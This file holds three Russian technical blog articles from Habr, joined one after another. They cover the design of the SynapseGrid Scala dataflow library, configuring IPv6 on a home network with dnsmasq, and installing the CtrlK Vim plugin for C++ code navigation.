С самого начала мы не ставили задачу всеобщей унификации, и решали в каждой части системы по своему. Где-то использовали потоки для длительных задач, где-то создавали цепочки вызовов, где-то — модель подписки. Так как система была довольно большой, то практически все известные способы декомпозиции и обработки были задействованы в той или иной степени. Потом мы обнаруживали общность и реализовывали похожие решения в разных частях системы. А потом изобрели первую версию того, что сейчас мы называем система контактов или [SynapseGrid](https://github.com/Primetalk/SynapseGrid/blob/master/docs/README.RU.md).
#### Модульность
Так как мы решали не отдельную прикладную задачу из серии «сделал — забыл», а реализовывали инструментарий, позволяющий решать семейство задач, то одним из принципов разработки был **принцип модульности**. То есть мы создавали отдельные повторно-используемые компоненты, которые должны были комбинироваться почти произвольным образом, чтобы строить системы для решения любой задачи из семейства.
#### Потоковая обработка аудио
Когда мы только начинали, мы не очень хорошо понимали, как моделировать аудио-поток. Начали мы с того, что представляли его в форме AudioInputStream. Оказалось, что такое представление не позволяет обеспечить модульности. Т.е. один-то модуль может легко читать из байт-потока с блокировками, и выполнять свою обработку. Но как он передаст данные дальше? Если соединять модули pipe'ом, то придётся каждый малюсенький модуль помещать в отдельный поток выполнения, который будет блокироваться, пока не поступит порция новых данных. Это, понятное дело, было крайне неэффективно.
Потом мы обнаружили, что если аудио-поток разбить на фреймы (кусочки фиксированной длины, по 10-40 мс), то модули гораздо проще соединить. Кусочки аудио могли быть помещены в обычную очередь и очередь можно было проверить без блокировки.
Первичная обработка аудио во многих задачах оказывалась почти линейной. Т.е. модули выстраивались в цепочку, в которой выход предыдущего модуля соединялся со входом последующего модуля. Такую структуру обычно называют pipeline'ом.
Организовать передачу данных можно тремя способами:
1. pull
```
def getData =
process(previousModule.getData)
```
2. push
```
def pushData(d:data) {
val res = process(d)
nextModule.pushData(res)
}
```
3. functional aggregation
```
def f(d:data) = {
val r1 = module1.f(d)
val r2 = module2.f(r1)
r2
}
```
В случае pull, данные «вытягиваются» из последнего компонента, причём цепочка предшествующих компонентов ненаблюдаема и может произойти блокировка из-за нехватки данных в каком-то буфере. При возникновении любого исключения происходит схлопывание всего стека, что приводит к невозможности продолжить работу.
В случае push, данные «вталкиваются» в первый компонент и дальнейшая их судьба остаётся неизвестной. При нехватке данных для буферизации на выходе цепочки ничего не появляется. При возникновении исключения стек снова схлопывается и исключение появляется в самом начале цепочки, где с ним снова непонятно, что можно сделать. Продолжение работы также невозможно. Кроме того, реализация модулей в режиме push довольно неудобна/непривычна для программиста. И обязательно требует наличия side-effect'ов.
Когда мы стали использовать functional-подход, оказалось, что он обладает преимуществами перед pull и push. Во-первых, вся цепочка компонентов видна как на ладони, и может быть легко прослежена. Во-вторых, при возникновении исключения в любом компоненте его легко перехватить, и, что немаловажно, исключение затрагивает только один компонент, и обработку можно продолжить с минимальными проблемами.
Т.к. разработка в то время шла на Java, мы сделали интерфейс для функционального подхода, который должны были реализовывать все модули. Оказалось, что модули принципиально разделились на два вида — те, что всегда обязательно на каждый входной элемент выдавали ровно один выходной элемент, и другие модули, которые могли выдать 0..n элементов на выходе. Модули первого типа (типа `map`) хотя и были частным случаем второго типа, но они встречались довольно часто и их интерфейс был проще:
```
trait MapModule[TIn, TOut] {
def f(data:TIn):TOut
}
```
Модули второго типа (`flatMap`) содержали внутреннюю буферизацию, специфичную для модуля, и имели на выходе коллекцию, содержащую 0..n элементов:
```
trait FlatMapModule[TIn, TOut] {
def f(data:TIn):Collection[TOut]
}
```
Для «прокачки» данных через pipeline можно было использовать две стратегии — depth first или width first.
```
def widthFirst(d:Data) = {
val r1:Collection[...] = module1.f(d)
val r2 =
for(d1 <- r1; d2 <- module2.f(d1))
yield d2
val r3 =
for(d2 <- r2; d3 <- module3.f(d2))
yield d3
r3
}
def depthFirst(d:Data) = {
for(d1 <- module1.f(d);
d2 <- module2.f(r1);
d3 <- module3.f(d2)
)
yield d3
}
```
При depth first каждый элемент прослеживался до конца цепочки, а потом обрабатывался следующий входной элемент. При width first все элементы проходили первый этап, потом все полученные проходили второй этап и т.д.
Наиболее общим интерфейсом является 1 -> 0..n (flatMap), поэтому этот интерфейс был взят за основу разработки. Оказалось, что модули, имеющие такой интерфейс, очень легко объединять по принципу функциональной агрегации в более крупные модули, имеющие точно такой же интерфейс. Для линейного pipeline'а получилось, что ничего другого и не требуется.
#### Модель подписки
В некоторый момент обработка разветвлялась. Одни и те же данные надо было передавать нескольким модулям. Схема, которая хорошо работала для pipeline, здесь создавала проблемы. Во-первых, чтобы данные передавать в несколько мест, надо было иметь алгоритм, в котором явно были прописаны оба продолжения. Во-вторых, при агрегировании цепочки с двумя концами невозможно было обеспечить тот же интерфейс с одним входом и одним выходом.
Мы довольно быстро придумали схему с подпиской на события. Создавался объект Event[T], в который можно было с одной стороны помещать данные, а с другой стороны подписываться на новые данные. Это позволяло обеспечить decoupling модулей. Event был сделан асинхронным и потокобезопасным. Созданная схема очень напоминает библиотеку [RxJava](https://github.com/Netflix/RxJava) (там событие называется Observable[T]).
Модель с подпиской была довольно неплохой и позволяла довольно просто организовать работу в нескольких независимых потоках. Одним из отличий от Observable в нашей схеме было то, что на вход Event'а данные могли поступать из нескольких источников.
Рис.1 Многие-ко-многим, напрямую
Рис.2 Многие-ко-многим по схеме «звезда»
По мере развития проекта количество event'ов возросло и обнаружились ограничения этой схемы.
1. Неизвестно, генерирует ли кто-нибудь данное событие.
2. Неизвестно, подписан ли кто-нибудь на событие.
3. Потоки данных текут ненаблюдаемо — одно событие, обработчик, скрытая внутренняя генерация(?) другого события, другой обработчик и т.д.
4. Если подписка синхронная, т.е. обработчик выполняется в вызывающем потоке, то непонятно, что делать с исключением.
Если подписку обработчика на событие отследить ещё можно, и даже можно нарисовать схему event-подписчики, то связь генератор-событие являлась потусторонней и невозможно было понять, генерирует ли кто-то это событие и при каких условиях.
#### Akka
К этому моменту [Akka](http://akka.io/) у нас уже использовалась для remoting'а и выглядела многообещающе. По-крайней мере, можно было надеяться переложить на Akka многопоточность и решить некоторые проблемы с event'ами.
Акка предлагает легковесного Actor'а, который работает в условно-отдельном потоке, но не потребляет много ресурсов. Условно-отдельный поток означает, что если эктор занят обработкой какого-то сообщения, то никакой другой поток параллельно не будет задействован для обработки других сообщений этим же эктором. Т.е. отдельный эктор обрабатывает сообщения строго последовательно, но при большом количестве экторов оказывается, что все радостно работают параллельно и друг другу не мешают.
Оказалось, что в подходе с экторами связи вообще никак не продуманы и не наблюдаются. Т.е. связи между экторами лежат целиком на совести разработчика и могут расползаться по программе как угодно. Более того, хотя мы теоретически можем отследить судьбу одной ссылки на эктор, однако в Akka предусмотрен способ получения ссылки по текстовому url эктора. Т.е. мы принципиально не можем отследить и ограничить расползание связей в системе.
К чему это приводит? В многопоточной системе с большим количеством похожих экторов и огромным количеством ненаблюдаемых связей периодически возникают малоизученные явления. Например, бесконечный цикл трёх видов: расходящийся, когда в каждой итерации число сообщений увеличивается, монотонный, который просто живёт своей жизнью, отъедает ресурсы процессора, но не приводит к катастрофе, и затухающий, когда количество сообщений медленно убывает. Отладить такую систему is next to impossible. Весьма сложно. В ряде критичных мест нам пришлось пользоваться подходом [Model Checking](http://spinroot.com/spin/whatispin.html). И всё равно не было полной уверенности, что где-то не циркулируют какие-нибудь сообщения.
#### Upstart
В Ubuntu некоторое время тому назад появилась система загрузки, основанная на событийной модели ([Upstart](http://upstart.ubuntu.com/cookbook/)). Система очень примечательна своим подходом к событиям. Каждое событие имеет имя и может иметь параметры. Обработчики (task'и) могут подписаться на комбинацию событий (с boolean-условиями на параметры) и будут вызваны, если всё сложится. Также обработчики декларативно описывают те события, которые они генерируют (хотя можно любое событие сгенерировать и потусторонним способом).
Эта система описывает так называемую «решётку», или направленный граф (диграф). Узлами решётки являются события, а ветвями — обработчики. В силу встроенного в граф параллелизма upstart позволяет запускать обработчики гораздо раньше, чем это делает система System V, основанная на фиксированных разделяющих слоях (runlevels 0..6). Независимые обработчики спокойно работают параллельно.
Идеи Upstart повлияли на дальнейшую разработку системы контактов.
#### Система контактов 1-й версии
До тех пор, пока мы рассматриваем картину звезды с одним event'ом (приведённую на рисунке выше), нам не удастся придумать хорошего механизма для организации многопоточной системы. Но если построить направленный граф, то уже прорисовываются интересные перспективы.
Рис.3 Решётка событий и обработчиков
По схеме очень напоминает upstart. Если потребовать, чтобы связи объявлялись декларативно и запретить/исключить неявное создание связей, то весь граф, описывающий работу всей системы, оказывается как на ладони и доступен для статического анализа. Просто наблюдая такой граф, можно обнаружить нежелательные циклы, отсутствующие связи, висящие отдельно Event'ы или обработчики.
В первой версии мы просто несколько обобщили и адаптировали Event[T], но сохранили распределённый («размазанный») механизм передачи сообщений. Наличие графа обработки уже само по себе позволяло понять работу системы и решить текущие проблемы. Но такой «размазанный» механизм передачи сообщений с обязательной буферизацией и защищённо-потокобезопасный, не подходил для решения аналогичных задач в других частях системы. Там требовалось что-то похожее, но более легковесное.
##### Механизм работы легковесных экторов в Akka
Здесь требуется небольшое отступление о механизме легковесных экторов, который имеет много сходных черт с архитектурой SynapseGrid.
Рассмотрим такой код:
```
val helloActorRef = actor(new Act {
become {
case "hello" ⇒ sender ! "hi"
}
})
helloActorRef ! "Hello"
```
Когда мы отправляем сообщение «Hello» эктору, создаётся обёртка вокруг нашего сообщения:
```
Message(helloActorRef, "Hello")
```
И это сообщение помещается в очередь. Где-то параллельно работают 16 потоков, которые из этой большой очереди читают сообщения. И есть ещё некий диспетчер, который следит за тем, чтобы с одним эктором не работали два потока одновременно. Поток хватает сообщение, находит эктора и просто выполняет функцию этого эктора на нашем сообщении («Hello»).
Такая схема позволяет существовать миллионам экторов, которые не потребляют ресурсы (кроме чуточки памяти), пока спят. А расход процессорного времени происходит только в 16 потоках и исключительно на обработку реальных данных.
Если посмотреть на пользовательскую модель, то у каждого эктора — своя очередь сообщения и мы командой `!` отправляем в эту очередь наше сообщение. То есть выглядит так, будто имеется миллион очередей. А реализуется эта пользовательская модель в форме глобальной очереди и глобальных потоков. Происходит своего рода виртуализация пользовательского представления с помощью эффективного системного представления.
В этой схеме actorRef играет роль handle или тега, или метки. Т.е. мы наши данные снабжаем меткой, которая показывает расположение сообщения «Hello» в виртуальном пространстве виртуальных очередей экторов.
Виртуально на миллион экторов мы имеем миллион очередей. Представляете массив из 1000000 очередей, который надо просматривать? В этой виртуальной пользовательской модели всё будет не очень эффективно. А реализуется эта же самая структура с помощью меток, что позволяет получить одну большую очередь, но с метками-тегами. И работать эта очередь будет весьма эффективно.
Ещё одна аналогия, которая приходит на ум, это использование HashMap для хранения огромных разреженных массивов. Как нам для нескольких точек в трёхмерном пространстве сохранить какие-то данные? Пусть размер нашего трёхмерного пространства — 1000х1000х1000. Если хранить массивами, то потребуется 10e9 ячеек. А если использовать метку (x,y,z), то потребуется гораздо меньше памяти. Здесь как раз и работает `HashMap[(x,y,z), data]`.
#### Система контактов 2-й версии или SynapseGrid
В схеме с размазанным механизмом передачи сообщений связи непосредственно хранились в Event'ах. Это похоже на то, как если бы миллион очередей к экторам сделать на самом деле. А вот если сделать единую коллекцию, где будут находится события и связи, то можно обеспечить эффективный централизованный механизм распределения сообщений.
Итак, для представления событий, на которые можно подписаться, мы вводим понятие **контакта**,
```
val contact1 = Contact[T]("Событие1")
```
а для представления сообщений, связанных с этим контактом, — **сигнал**.
```
Signal[T](contact1, data:T)
```
Как можно видеть, контакт похож на ActorRef, а сигнал — на Message. Отличие заключается в том, что с контактом не связано ни состояние, ни поведение. Это просто некий идентификатор. Если вспомнить аналогию с виртуальной «очередью», то контакт идентифицирует эту очередь.
Т.к. в контакте нет ни данных, ни поведения, то передать в него сообщение просто так невозможно. Это приводит к невозможности создания потусторонних связей, которые обычно возникают внутри обработчиков/хэндлеров. Связи могут быть только декларативными.
> ###### Внешнее связывание
>
>
>
> В использовании контактов и сигналов, ActorRef и Message мы наблюдаем общий паттерн, который, по-видимому, довольно часто встречается в функциональном программировании. Я называю этот паттерн «внешним связыванием». Идея заключается в том, чтобы не хранить данные в объекте, который используется для адресации этих данных. Вместо этого адрес (ссылка, идентификатор) является immutable структурой, похожей на индекс. А значение хранится где-то ещё или вообще нигде постоянно не хранится. Для получения доступа к данным мы пользуемся какой-нибудь монадой системой, которая управляет нашими данными.
>
>
>
> Например, сигнал — это временный объект, который на короткий срок сообщает, что на таком-то контакте находятся такие-то данные. Можно было бы с тем же успехом вместо списка сигналов использовать HashMap или другую структуру, которая нам показалась бы удобной.
>
>
>
> Благодаря тому, что в самом контакте данные не хранятся, мы можем, например, оперировать историей «состояния» переменной. Достаточно иметь список сигналов, относящихся к одному контакту. А обработка сигналов для всей системы позволяет построить развёртку во времени всех её «состояний».
>
>
Как уже говорилось выше, моделью целой системы является направленный граф. Если внимательно присмотреться, то можно заметить, что это двудольный граф. Но в подавляющем большинстве случаев элементарные обработчики представляют собой map или flatMap компоненты, имеющие один вход и один выход. Поэтому в основу SynapseGrid мы положили более простой граф, узлы которого соответствуют контактам, а дуги связаны с компонентами, осуществляющими обработку данных. Т.е. граф задан совокупностью троек (контакт1, контакт2, обработчик):
```
Link[TIn, TOut](from:Contact[TIn], to:Contact[TOut],function: TIn=>Collection[TOut])
```
(здесь мы пользуемся тем, что map-компонеты являются частным случаем flatMap-компонентов).
> В [описании SynapseGrid](https://github.com/Primetalk/SynapseGrid/blob/master/docs/README.RU.md) приведена интересная **метафора макетной платы**, хорошо иллюстрирующая идею SynapseGrid.
При появлении данных (сигналов) на каком-либо контакте, мы легко можем определить все обработчики, которые хотели бы обработать эти данные, можем спланировать вызов этих обработчиков в одном или нескольких потоках. Результаты работы, полученные каждым обработчиком, становятся сигналами на выходных контактах, к которым привязаны обработчики, и снова попадают в общую очередь на обработку.
##### Buider'ы и DSL
Описанный механизм работы предполагает наличие неизменного (immutable) графа, заданного совокупностью троек. Такой граф было бы не очень удобно создавать сразу в одном выражении. Вместо этого оказывается удобно использовать концепцию билдеров, позволяющих шаг за шагом, добавляя отдельные дуги, конструировать граф системы.
Для системы контактов мы разработали DSL `SystemBuilder`, который содержит множество методов на все случаи жизни, позволяющих конструировать систему шаг за шагом.
```
val in = input[Int]("in") // input - создаёт контакт и отмечает, что он служит входным контактом подсистемы
val c = contact[Int]("c")
(in -> c).map(_ * 2) // создаёт связь Link между контактами in и c. Связь содержит map-операцию, созданную из функции умножения на 2
val c2 = in.map(_ * 2) // создаёт новый вспомогательный контакт и связь map. Возвращает созданный контакт
```
Использование стандартных названий методов map, flatMap, filter позволяет воспользоваться Scala-sugar — for-comprehension:
```
val c2 = for(i <- in) yield i * 2 // делает ровно тоже самое, что и вышеприведённый код для in.map
val c3 = for(i <- in; j <- 0 until i) yield j * 2 //
/* что эквивалентно такой записи:
val temp = in.flatMap(i => 0 until i)
val c3 = cc.map(j => j * 2)
*/
```
Больше примеров использования DSL — в [описании SynapseGrid](https://github.com/Primetalk/SynapseGrid/blob/master/docs/README.RU.md).
> ###### Метаморфозы системы
>
>
>
> В SynapseGrid чётко выделяются две фазы — фаза конструирования системы и фаза времени выполнения (runtime). Причём обычно эти фазы не пересекаются. В работающую систему невозможно просто так добавить новые элементы. Похожее явление происходит, например, в Guice — модули создаются сначала, а потом по описанию, содержащемуся в модулях, конструируется работающая система.
>
>
>
> Код, который конструирует систему, пользуется API Builder'а. А код, который работает в реальной системе, ничего не знает о контактах и сигналах. Он просто обрабатывает приходящие данные и возвращает результат выполнения.
>
>
##### Треллис, дискретное время, синхронизм и детерминизм
Одной из особенностей Akka и других подходов на основе экторов является то обстоятельство, что порядок обработки сообщений разными акторами не определён и отдан на волю случая. Скорее всего, это приводит к выигрышу в производительности, но также отрицательно сказывается на предсказуемости работы системы.
Поскольку непредсказуемость для нас гораздо хуже, чем недоиспользование потенциала процессора, мы решили в основных режимах работы обеспечивать гарантии детерминированности последовательности сигналов. (А более производительный, но менее детерминированный режим работы использовать только для оптимизации в редких случаях.)
Все сигналы погружаются в дискретное время и упорядочиваются внутри каждого временного слота. В начальный момент времени имеется один сигнал на входном контакте. Переход от одного момента времени к другому происходит только тогда, когда все сигналы текущего момента времени обработаны. Порождаемые сигналы упорядочиваются так, как если бы обработчики вызывались строго последовательно (в однопоточном режиме так оно и есть, а в многопоточном сигналы упорядочиваются принудительно).
Если посмотреть на совокупность сигналов в каждый момент времени, то получающаяся картинка называется [треллис](http://merganser.math.gvsu.edu/david/reed05/projects/jimenez/) и применяется, например, в [алгоритме Витерби](http://ru.wikipedia.org/wiki/Алгоритм_свёрточного_декодирования_Витерби).
Поскольку вся обработка происходит централизованно, никто не мешает нам такую картинку нарисовать и проанализировать прохождение сигналов.
Если граф разветвляется, то можно довольно просто гарантировать синхронность появления сигналов на заданных контактах. Если альтернативные цепочки имеют разную длину, то синхронность обеспечивается очень просто — добавлением нескольких пустых стрелочек («линий задержки»).
##### Подсистемы
Созданная система контактов замечательно заменяла pipeline и подписки на события. И постепенно на эту систему были переведены многие компоненты системы. Однако для объединения нескольких систем, необходимо было предусмотреть возможность существования компонентов с несколькими входами и несколькими выходами. В отличие от компонентов-двухполюсников, аналогами которых являются обычные функции, аналогов для многоконтактных компонентов мы не нашли.
Выход был найден в использовании всё тех же меток для различения входов между собой и выходов между собой. Компонент, представляющий подсистему, получил такую сигнатуру:
```
type Component = Signal => Collection[Signal]
```
Т.е. данные, которые мы хотим отправить на вход in1, оборачиваются в Signal и помечаются контактом in1. Данные, появляющиеся на выходе out1 представляются `Signal(out1, data)`.
С точки зрения треллиса родительской системы вся обработка в дочерней подсистеме происходит за один временной шаг. Внутри подсистемы создаётся свой треллис.
##### Параллелизм
Подсистема оказалась хорошим претендентом на выполнение в отдельном потоке и мы первым делом реализовали механизм, позволяющий любую подсистему выделить в отдельный Akka-эктор.
Такая схема позволила закрыть 90% всех потребностей в многопоточности. Akka гарантирует, что в пределах одного эктора всё происходящее можно считать однопоточным. А SynapseGrid позволил объединять любое количество экторов в связанную систему с **наблюдаемыми связями**. У экторов, построенных на основе подсистем, отсутствует прямая возможность создания потусторонней связи с другой подсистемой. Картина мира становится гораздо прозрачней.
> ###### Преимущества системы экторов на SynapseGrid
>
>
>
> Экторы, которые создаются в SynapseGrid, обладают определёнными преимуществами по сравнению с обычными структурами экторов, которые создаются в Akka вручную. А именно:
>
> 1. Строго-типизированный обмен данными. Верификация на стадии компиляции (конструирования).
>
> 2. Наличие нескольких строготипизированных входов и выходов.
>
> 3. Наличие явных выходных связей и возможность отследить, куда передаются выходные сообщения эктора.
>
> 4. Возможность отрисовки полной картины системы, состоящей из большого числа экторов и связей между ними.
>
>
Однако остались ещё 10% потребностей в многопоточности, которые не давали нам покоя. А именно, если нам требовалось обеспечить параллельную обработку массы однотипных данных с помощью одного компонента, экторы на основе подсистем буксовали. Они обрабатывали данные строго последовательно.
Тогда было решено сделать свой планировщик, который будет загружать работой 16 потоков ExecutorContext'а согласно семантике SynapseGrid. Библиотека synapse-grid-concurrent позволяет полностью выполнять систему произвольной вложенности на пуле потоков и при этом гарантирует детерминизм однопоточного варианта.
#### Заключение
SynapseGrid позволяет строить модульные системы, выполняющие срочную (ASAP) обработку данных без лишней буферизации. В основе библиотеки лежит функциональный подход, внешнее связывание и декларативный подход. Система собирается с помощью развитого API Builder'а в режиме конструирования. А в режиме исполнения система является немодифицируемой (immutable).
Выполнение логики обработки данных может осуществляться в одном или в нескольких потоках с гарантией получения идентичных результатов. SynapseGrid расширяет возможности Akka путём добавления строго типизированных входов, выходов и связей между экторами.
Библиотека опубликована на GitHub'е под свободной лицензией (BSD-like).
Как показал опыт эксплуатации SynapseGrid, библиотека позволяет легко конструировать эффективные системы потоковой обработки данных в режиме реального времени. | https://habr.com/ru/post/204596/ | null | ru | null |
# Пробуем IPv6 в домашней сети
Давно хотел пощупать что это такое. Много новостей связанных с ipv6 мелькает в интернете. Близится всемирный день запуска, прошлогодний день тестирования я как-то пропустил. Да и вообще за ним будущее и я считаю лучше быть впереди чем потом догонять.
А недавняя [статья](http://habrahabr.ru/post/140629/) на хабре окончательно сподвигла меня изучить этот вопрос на собственном опыте.
**Дано:** домашний сервер-роутер на Ubuntu Server 11.10, стационарный компьютер и нетбук на Kubuntu 11.10 и мобильный телефон на Android. Теоретически всё это умеет ipv6, посмотрим что будет на практике.
Установку и настройку тоннеля через [Hurricane Electric](http://he.net) можно сделать по множеству инструкций в интернете, например по упомянутой выше статье. В итоге имеем: полностью настроенный сервер имеющий связь как с ipv4 так и ipv6. Устройства в сети получают префикс от radvd и сами настраивают себе адрес, но адрес DNS сервера приходится прописывать ручками и самое главное «но» — все устройства в сети переподключаются раз в 1-2 минуты, что на web-серфинге не сказывается, а вот аську тут же банят за слишком частые попытки подключения. Будем искать решение, а так же разбираться как это всё работает.
Попытаюсь пересказать принцип работы назначения адресов ipv6 человеческим языком:
Адреса link-local, которые хосты ipv6 сети сами себе назначают используя свой MAC адрес и стандартный префикс fe80::, это понятно и нам в данный момент не интересно.
Далее хост используя этот link-local адрес отправляет в сеть запрос в поисках роутера (**Router Solicitation**) и если роутер там есть то он отвечает (**Router Advertisement**), а вот тут есть два пути:
**1.** Если роутер просто роутер, то он присылает в ответ префикс сети. Далее хост сам себе назначает адрес используя этот префикс и свой MAC адрес и добавляет маршрут по умолчанию на этот роутер.
**2.** А если роутер еще и DHCPv6 то запускается другой процесс назначения адреса, аналогичный DHCPv4.
На это влияет бит **Managed Address Configuration Flag** (M) в ответе Router Advertisement.
Так же там есть бит **Other Stateful Configuration Flag** (O) который говорит нужно ли еще другие параметры получать, например маршруты, адрес DNS сервера, адрес NTP и т.д.
**Radvd** умеет только первый вариант, для всего остального нужен полноценный DHCPv6 сервер. В моей сети уже есть **dnsmasq** который занимается раздачей адресов и пересылкой dns запросов. Но к сожалению он не умеет ipv6. Или умеет? Самая свежая версия dnsmasq 2.60 умеет и Router Advertisement и DHCPv6. Отлично!
В репозиториях Ubuntu свежей версии нет, только 2.59, качаем из репозитория Debian Unstable. Там добавляется одна новая зависимость, её можно поставить из родного репозитория.
`sudo apt-get install libnetfilter-conntrack3
sudo dpkg -i dnsmasq-base_2.60-2_i386.deb`
Отключаем radvd, а лучше совсем удаляем.
Читаем man и добавляем в конфиг **/etc/dnsmasq.conf** следующее:
`enable-ra
dhcp-range=2001:470:aaab:aaaa::2, 2001:470:aaab:aaaa:ffff:ffff:ffff:ffff, 64, 12h`
Можно конечно **не** всю /64 подсеть использовать, а поменьше, но пусть резвится, тем более алгоритм генерации адресов другой, более хитрый, а не подряд как в DHCPv4.
Перезапускаем dnsmasq, перезапускаем сеть на клиенте и вуаля, всё получили и адрес и маршрут и адрес DNS равный адресу роутера.
Проверяем, всё работает, *aaaa.test-ipv6.com* открывается. DNS на роутере доступен по обоим v4 и v6 адресам. Отлично!
Берем в руки телефон с Android. Печаль. IPv6 он не получает. Выясняем что Android не умеет получать адрес от DHCPv6, совсем, никакой версии. Читаем man дальше и в конфиг dnsmasq.conf добавляем следующее:
`dhcp-range=2001:470:aaab:aaaa::, ra-only, 64, 12h`
Теперь наш dnsmasq отвечает двумя Router Advertisement один с установленными флагами M и O, а другой со сброшенными. Android телефон воспринимает только второй, а вот linux клиенты воспринимают оба, и по этому получают по два адреса. Но это не страшно, я считаю. Один из них dnsmasq запоминает (выданный DHCPv6) и можно получать доступ к клиентам по имени. А вот телефон, увы, получит только адрес, DNS он будет знать только с ipv4 именем (192.168.1.1).
Кстати, теоретически существует конфигурация M=0, O=1, так называемая *DHCPv6 stateless*, когда адреса назначаются автоматически, а другие параметры получаются от DHCPv6, но я не уверен, что dnsmasq так умеет, Android такое примет, да и имена внутри сети не помешают. Есть ещё «костыль» RDNSS ([Router Advertisement Options for DNS Configuration](http://tools.ietf.org/html/rfc6106)). Его умеет radvd на стороне сервера, а на клиентов нужно устанавливать rdnssd, в том числе и на Windows. Для Android всё равно не поможет, он его тоже не умеет.
Отключаем ipv4 и ищем где у нас проблемы с конфигами сервисов. Либо адреса заменяем на имена, либо к ipv4 адресам добавляем ipv6. Со стационарного компьютера все сервисы доступны по ipv6, а вот на нетбуке возникли проблемы. **NFS** шара монтируется с помощью **autofs**, а видимо в нем баг и он не разрешает имя сервера по ipv6. Если просто *mount* делать, то успешно монтируется.
Возвращаем обычный интернет, ибо ipv6 пока скуден, google только поиск, википедия только через sixxs.net, несколько радиостанций, несколько трекеров. Ждем 6 июня.
Настройка фаервола ip**6**tables ничем не отличается от iptables, только отсутствует -t nat POSTROUTING. Ну и я себе добавил пропуск некоторых ICMPv6 пакетов внутрь, чтоб можно было пинговать снаружи.
Что мы получили? **Готовность №1** к World IPv6 Launch домашней сети и **бесценный опыт**. | https://habr.com/ru/post/141226/ | null | ru | null |
# Об удобной навигации и отладке C++ кода в Vim
Компания, где я работаю, разрабатывает программное обеспечение на C++ под Linux. Долгое время мы использовали Qt Creator, с редкими ребятами работающими из Emacs и Vim. Когда я сам попытался пересесть на Vim, я понял, что ситуация с плагинами для разработки на С++ очень не простая. Поработав немного с CTags, я быстро понял, что без напильника работать в Vim будет очень сложно.
К сожалению, с ростом опыта работы с Vim редактор в Qt Creator в режиме эмуляции устраивал меня все меньше, и в какой-то момент я решил потратить немного времени и разобраться, как же сделать из Vim нормальную среду.
Я очертил для себя четыре вещи, которые я бы хотел от среды разработки, и которых мне бы хватило в Vim, чтобы полностью на него перейти:
1. Автодополнение
2. Навигация по коду
3. Отладка прямо из среды
4. Интеграция с Git (в частности Blame прямо в редакторе, и Git Grep)
Автодополнение в Vim — это решенная проблема, и название у решения [YouCompleteMe](https://github.com/Valloric/YouCompleteMe). Это очень качественный плагин, который реализует автодополнение для большого количества языков программирования, в частности Python и C++. Ходят слухи, что внутри Google YouCompleteMe решает и вторую проблему с навигацией кода, но использует для этого внутренные инструменты гугла для индексирования.
Интеграция с Git в какой-то степени решена с помощью [vim-fugitive](https://github.com/tpope/vim-fugitive). Это не такая комплексная интеграция, как бывает у Jet Brains, или в Visual Studio, но сравнимая с тем, что предлагает Qt Creator. Те два сценария, которые нужны были мне: blame и grep — работают хорошо.
Отладка и навигация были проблемами, решенными гораздо хуже. В этой статье я расскажу о плагине, который мы написали для навигации по С++ коду. В конце статьи я также расскажу о том, как мы для себя решили проблему с интегрированным отладчиком.
Конечно, как я упомянул выше, для навигации можно было использовать CTags, но если вы работали с CTags, то вы знаете, что он не решает проблему. Парсер C++ очень слабый, и часто CTags находит совершенно неправильные участки кода.
В интернете как несколько лет назад, так и сейчас, единственное, что находится на тему навигации по C++ коду — это [вот эта статья](http://blog.wuwon.id.au/2011/10/vim-plugin-for-navigating-c-with.html). Я настроил этот плагин, и он в принципе работал. Но было много нареканий, из которых два самых больших:
1. Процесс индексирования надо запускать руками
2. Нельзя найти символ по его названию
В конечном итоге, это все закончилось разработкой собственного плагина для Vim, который позволяет перемещаться по C++ коду. Он требует наличия [Compilation Database](http://clang.llvm.org/docs/JSONCompilationDatabase.html). Если в проекте используется CMake, то чтобы его получить достаточно вызвать
```
cmake . -DCMAKE_EXPORT_COMPILE_COMMANDS=ON
```
Иначе можно либо воспользоваться [Bear](https://github.com/rizsotto/Bear), либо построить его руками, формат очень простой.
Плагин называется [CtrlK](https://github.com/SkidanovAlex/CtrlK), и позволяет делать следующие вещи:
1. Перейти к определению символа под курсором.
2. Поиск всех вхождений символа под курсором.
3. Поиска символа по его названию (для этого используется FuzzyFinder, но поиск, к сожалению, не Fuzzy, а только по подстроке). Поиск работает для функций, методов, классов, глобальных переменных, макросов, и даже аргументов функций и локальных переменных.
4. Отображение названия функции, внутри которой находится курсор, в строке состояния. Очень удобно при редактировании больших функций, когда ее объявление находится за пределами экрана.
Кроме того, есть эксперементальная возможность показывать отдельное окно, в котором постоянно показывается определение символа под курсором. Такую возможность я видел только в среде Source Insight, и ее полезность кажется спорной, но я нахожу ее очень удобной.
Плагин использует libclang для парсинга кода и leveldb для индекса.
Как и YouCompleteMe, плагин состоит из серверной части и клиента. Здесь под серверной частью подразумевается некоторый процесс, который запущен параллельно с Vim, и который общается с Vim. Для установки мы пошли немного другим путем, чем YCM. Если YouCompleteMe просит запустить руками Make после установки через Vundle, мы вместо этого сделали установку серверной части через pip.
Сначала казалось, что можно написать весь плагин на Python, и не делать серверной части, но скорость парсинга большого количества файлов через clang библиотеку для python очень низкая, и пришлось ее писать на C++, что требует выноса этой функциональности в запущенный отдельно процесс, и немного осложняет установку.
В итоге, установка сводится к установке питоновских библиотек clang, leveldb и серверной части ctrlk:
```
sudo pip install leveldb
sudo pip install clang
sudo pip install ctrlk
```
**(Если sudo pip install ctrlk не сработал)**Исторически сложилось так, что pip package для ctrlk принадлежит не мне. В текущем package есть две недоработки — не указана зависимость от ez\_setup, ее можно разрешить руками
```
sudo pip install ez_setup
```
И отсутствуют заголовочные файлы и библиотеки clang. Это с большим шансом приводит к ошибке компиляции, потому что стандартная установка clang/llvm не помещает их туда, где компилятор нашел бы их без подсказки.
Обе эти проблемы решены в репозитории, но пока pip package не обновлен. Если sudo pip install ctrlk упал с ошибкой компиляции, то можно просто установить его руками
```
git clone https://github.com/SkidanovAlex/py-ctrlk.git
cd py-ctrlk
python setup.py build
sudo python setup.py install
```
Установке плагина (а также L9 и FuzzyFinder, от которых CtrlK зависит). Для этого проще всего использовать [Vundle](https://github.com/gmarik/Vundle.vim):
```
Plugin 'L9'
Plugin 'FuzzyFinder'
Plugin 'SkidanovAlex/CtrlK'
```
И небольшим настройкам в vimrc
```
let g:ctrlk_clang_library_path="/home/user/llvm/lib"
nmap :call GetCtrlKState()
nmap :call CtrlKNavigateSymbols()
nmap :call CtrlKGoToDefinition()
nmap :call CtrlKGetReferences()
```
Где g\_ctrlk\_clang\_library\_path должен указывать на путь к libclang.so. Его можно найти, например, запустив
```
locate libclang.so
```
